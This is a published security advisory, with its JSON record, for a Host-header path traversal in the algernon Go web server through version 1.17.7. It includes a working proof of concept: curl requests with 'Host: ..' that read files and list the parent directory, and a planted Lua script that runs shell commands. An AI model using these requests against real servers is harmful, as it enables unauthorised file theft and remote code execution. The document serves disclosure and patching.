GHSA-JC3J-X6PG-4HMV
Vulnerability from github – Published: 2026-06-23 21:49 – Updated: 2026-06-23 21:49Summary
When algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.
Details
engine/handlers.go (function RegisterHandlers, around line 510):
allRequests := func(w http.ResponseWriter, req *http.Request) {
...
servedir := servedir
if addDomain {
servedir = filepath.Join(servedir, utils.GetDomain(req)) // <— line 531
}
...
filename := utils.URL2filename(servedir, urlpath)
utils/web.go (GetDomain):
func GetDomain(req *http.Request) string {
host, _, err := net.SplitHostPort(req.Host)
if err != nil {
return req.Host // <— Host header returned verbatim
}
return host
}
utils/files.go (URL2filename) only sanitises the URL path — it never inspects dirname:
func URL2filename(dirname, urlpath string) string {
if strings.Contains(urlpath, "..") {
return dirname + Pathsep // dirname is trusted here
}
...
}
engine/flags.go (auto-enable in CertMagic / Let's Encrypt mode):
if ac.useCertMagic {
...
ac.serverAddDomain = true // <— line 372
}
Putting it together:
- The client sends
Host: ... Go's HTTP server accepts the value because.is in the URI host whitelist and there are no other characters to validate;req.Hostis... GetDomainreturns..(no port,net.SplitHostPortfails — fallback path).filepath.Join("/srv/algernon", "..")cleans to/srv.URL2filename("/srv", "/SECRET.txt")returns/srv/SECRET.txt, which the handler opens withFilePage.- For directory targets,
DirPagelists the parent — sending/afterHost: ..produces an HTML index of the parent of the docroot. - If a file with a recognised algernon extension (
.lua,.tl,.po2,.amber,.frm,.md, ...) is in the parent, the matching renderer runs server-side..luatriggers full Lua execution, includingrun3(...)which callsexec.Command("sh", "-c", command)(seelua/run3/run3.go:23).
Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects / in the Host: value, but a single .. is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in parent(serverDir). --letsencrypt is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.
This bug is distinct from the previously-fixed handler.lua parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the handler.lua discovery loop and walked above rootdir; this one stays inside the normal FilePage path and rewrites rootdir itself through filepath.Join(servedir, req.Host). It is also distinct from the upload savein() issue (GHSA-2j2c-pv62-mmcp).
PoC
Build the affected version:
git clone https://github.com/xyproto/algernon
cd algernon
go build -o /tmp/algernon .
Reproduce manually:
WORK=$(mktemp -d)
mkdir -p $WORK/site
echo '<h1>public</h1>' > $WORK/site/index.html
echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt
cat > $WORK/pwn.lua <<'LUA'
print("=== RCE ===")
local out, err, code = run3("id; uname -a")
for _,v in ipairs(out) do print(" "..v) end
LUA
/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &
sleep 1
# 1. Arbitrary file read
curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt
# -> TOP-SECRET FROM PARENT DIR
# 2. Parent directory listing
curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head
# -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ...
# 3. Server-side Lua execution (RCE)
curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua
# -> === RCE ===
# uid=0(root) gid=0(root) groups=0(root)
# Linux ...
Recorded output from a real run:
[2] arbitrary file read via Host: ..
TOP-SECRET FROM PARENT DIR
[3] directory listing of parent via Host: ..
bytes=1278, links=1
sample:
href="/alg.log"
href="/site/"
href="/SECRET.txt"
[4] Lua RCE via Host: .. when .lua exists in parent
=== RCE ===
uid=0(root) gid=0(root) groups=0(root)
Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux
EXIT=0
Steps 2 and 3 reproduce with default flags (--domain alone, or --letsencrypt in production). Step 4 additionally requires a .lua file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.
Impact
- An unauthenticated remote attacker who can send a single HTTP request with a
Host: ..header can read arbitrary files inparent(--dir)and enumerate that directory. - When
--letsencryptis used (the recommended way to obtain HTTPS),--domainis enabled silently, so any production multi-tenant deployment is exposed without the operator opting in. - The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical
--prodinvocation documented inengine/config.go:208(serverDirOrFilename = "/srv/algernon"), the parent is/srv; in multi-domain setups the parent often holds sibling site directories and shared.lualibraries.
Suggested fix
Reject Host header values that contain .., /, \, or that resolve outside the configured serverDirOrFilename. The simplest patch:
// engine/handlers.go, where addDomain is consumed
if addDomain {
domain := utils.GetDomain(req)
if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") {
w.WriteHeader(http.StatusBadRequest)
return
}
servedir = filepath.Join(servedir, domain)
}
A stronger fix when CertMagic is active is to constrain the lookup to the certMagicDomains allow-list that flags.go already builds.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.17.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/xyproto/algernon"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48126"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23",
"CWE-644"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:49:11Z",
"nvd_published_at": "2026-05-26T17:16:53Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWhen algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory \u2014 arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.\n\n### Details\n\n`engine/handlers.go` (function `RegisterHandlers`, around line 510):\n\n```go\nallRequests := func(w http.ResponseWriter, req *http.Request) {\n ...\n servedir := servedir\n if addDomain {\n servedir = filepath.Join(servedir, utils.GetDomain(req)) // \u003c\u2014 line 531\n }\n ...\n filename := utils.URL2filename(servedir, urlpath)\n```\n\n`utils/web.go` (`GetDomain`):\n\n```go\nfunc GetDomain(req *http.Request) string {\n host, _, err := net.SplitHostPort(req.Host)\n if err != nil {\n return req.Host // \u003c\u2014 Host header returned verbatim\n }\n return host\n}\n```\n\n`utils/files.go` (`URL2filename`) only sanitises the URL path \u2014 it never inspects `dirname`:\n\n```go\nfunc URL2filename(dirname, urlpath string) string {\n if strings.Contains(urlpath, \"..\") {\n return dirname + Pathsep // dirname is trusted here\n }\n ...\n}\n```\n\n`engine/flags.go` (auto-enable in CertMagic / Let\u0027s Encrypt mode):\n\n```go\nif ac.useCertMagic {\n ...\n ac.serverAddDomain = true // \u003c\u2014 line 372\n}\n```\n\nPutting it together:\n\n1. The client sends `Host: ..`. Go\u0027s HTTP server accepts the value because `.` is in the URI host whitelist and there are no other characters to validate; `req.Host` is `..`.\n2. `GetDomain` returns `..` (no port, `net.SplitHostPort` fails \u2014 fallback path).\n3. `filepath.Join(\"/srv/algernon\", \"..\")` cleans to `/srv`.\n4. `URL2filename(\"/srv\", \"/SECRET.txt\")` returns `/srv/SECRET.txt`, which the handler opens with `FilePage`.\n5. For directory targets, `DirPage` lists the parent \u2014 sending `/` after `Host: ..` produces an HTML index of the parent of the docroot.\n6. If a file with a recognised algernon extension (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`, `.md`, ...) is in the parent, the matching renderer runs server-side. `.lua` triggers full Lua execution, including `run3(...)` which calls `exec.Command(\"sh\", \"-c\", command)` (see `lua/run3/run3.go:23`).\n\nMulti-level traversal is blocked at the protocol layer because the Go HTTP parser rejects `/` in the `Host:` value, but a single `..` is enough to step outside the operator\u0027s intended docroot \u2014 and many operators put scripts, configs, certificates, log files, or sibling sites in `parent(serverDir)`. `--letsencrypt` is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.\n\nThis bug is distinct from the previously-fixed `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) \u2014 that one used the *handler.lua discovery loop* and walked above `rootdir`; this one stays inside the normal `FilePage` path and rewrites `rootdir` itself through `filepath.Join(servedir, req.Host)`. It is also distinct from the upload `savein()` issue (GHSA-2j2c-pv62-mmcp).\n\n### PoC\n\nBuild the affected version:\n\n```\ngit clone https://github.com/xyproto/algernon\ncd algernon\ngo build -o /tmp/algernon .\n```\n\nReproduce manually:\n\n```\nWORK=$(mktemp -d)\nmkdir -p $WORK/site\necho \u0027\u003ch1\u003epublic\u003c/h1\u003e\u0027 \u003e $WORK/site/index.html\necho \u0027TOP-SECRET FROM PARENT DIR\u0027 \u003e $WORK/SECRET.txt\ncat \u003e $WORK/pwn.lua \u003c\u003c\u0027LUA\u0027\nprint(\"=== RCE ===\")\nlocal out, err, code = run3(\"id; uname -a\")\nfor _,v in ipairs(out) do print(\" \"..v) end\nLUA\n\n/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit \u0026\nsleep 1\n\n# 1. Arbitrary file read\ncurl -H \u0027Host: ..\u0027 http://127.0.0.1:7799/SECRET.txt\n# -\u003e TOP-SECRET FROM PARENT DIR\n\n# 2. Parent directory listing\ncurl -H \u0027Host: ..\u0027 http://127.0.0.1:7799/ | grep -oP \u0027href=\"[^\"]+\"\u0027 | head\n# -\u003e href=\"/SECRET.txt\", href=\"/pwn.lua\", href=\"/site/\", ...\n\n# 3. Server-side Lua execution (RCE)\ncurl -H \u0027Host: ..\u0027 http://127.0.0.1:7799/pwn.lua\n# -\u003e === RCE ===\n# uid=0(root) gid=0(root) groups=0(root)\n# Linux ...\n```\n\nRecorded output from a real run:\n\n```\n[2] arbitrary file read via Host: ..\n TOP-SECRET FROM PARENT DIR\n\n[3] directory listing of parent via Host: ..\n bytes=1278, links=1\n sample:\n href=\"/alg.log\"\n href=\"/site/\"\n href=\"/SECRET.txt\"\n\n[4] Lua RCE via Host: .. when .lua exists in parent\n === RCE ===\n uid=0(root) gid=0(root) groups=0(root)\n Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux\n EXIT=0\n```\n\nSteps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent \u2014 common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.\n\n### Impact\n\n- An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory.\n- When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in.\n- The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = \"/srv/algernon\"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries.\n\n### Suggested fix\n\nReject Host header values that contain `..`, `/`, `\\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch:\n\n```go\n// engine/handlers.go, where addDomain is consumed\nif addDomain {\n domain := utils.GetDomain(req)\n if domain == \"\" || strings.ContainsAny(domain, \"/\\\\\") || strings.Contains(domain, \"..\") {\n w.WriteHeader(http.StatusBadRequest)\n return\n }\n servedir = filepath.Join(servedir, domain)\n}\n```\n\nA stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.",
"id": "GHSA-jc3j-x6pg-4hmv",
"modified": "2026-06-23T21:49:11Z",
"published": "2026-06-23T21:49:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xyproto/algernon/security/advisories/GHSA-jc3j-x6pg-4hmv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48126"
},
{
"type": "PACKAGE",
"url": "https://github.com/xyproto/algernon"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.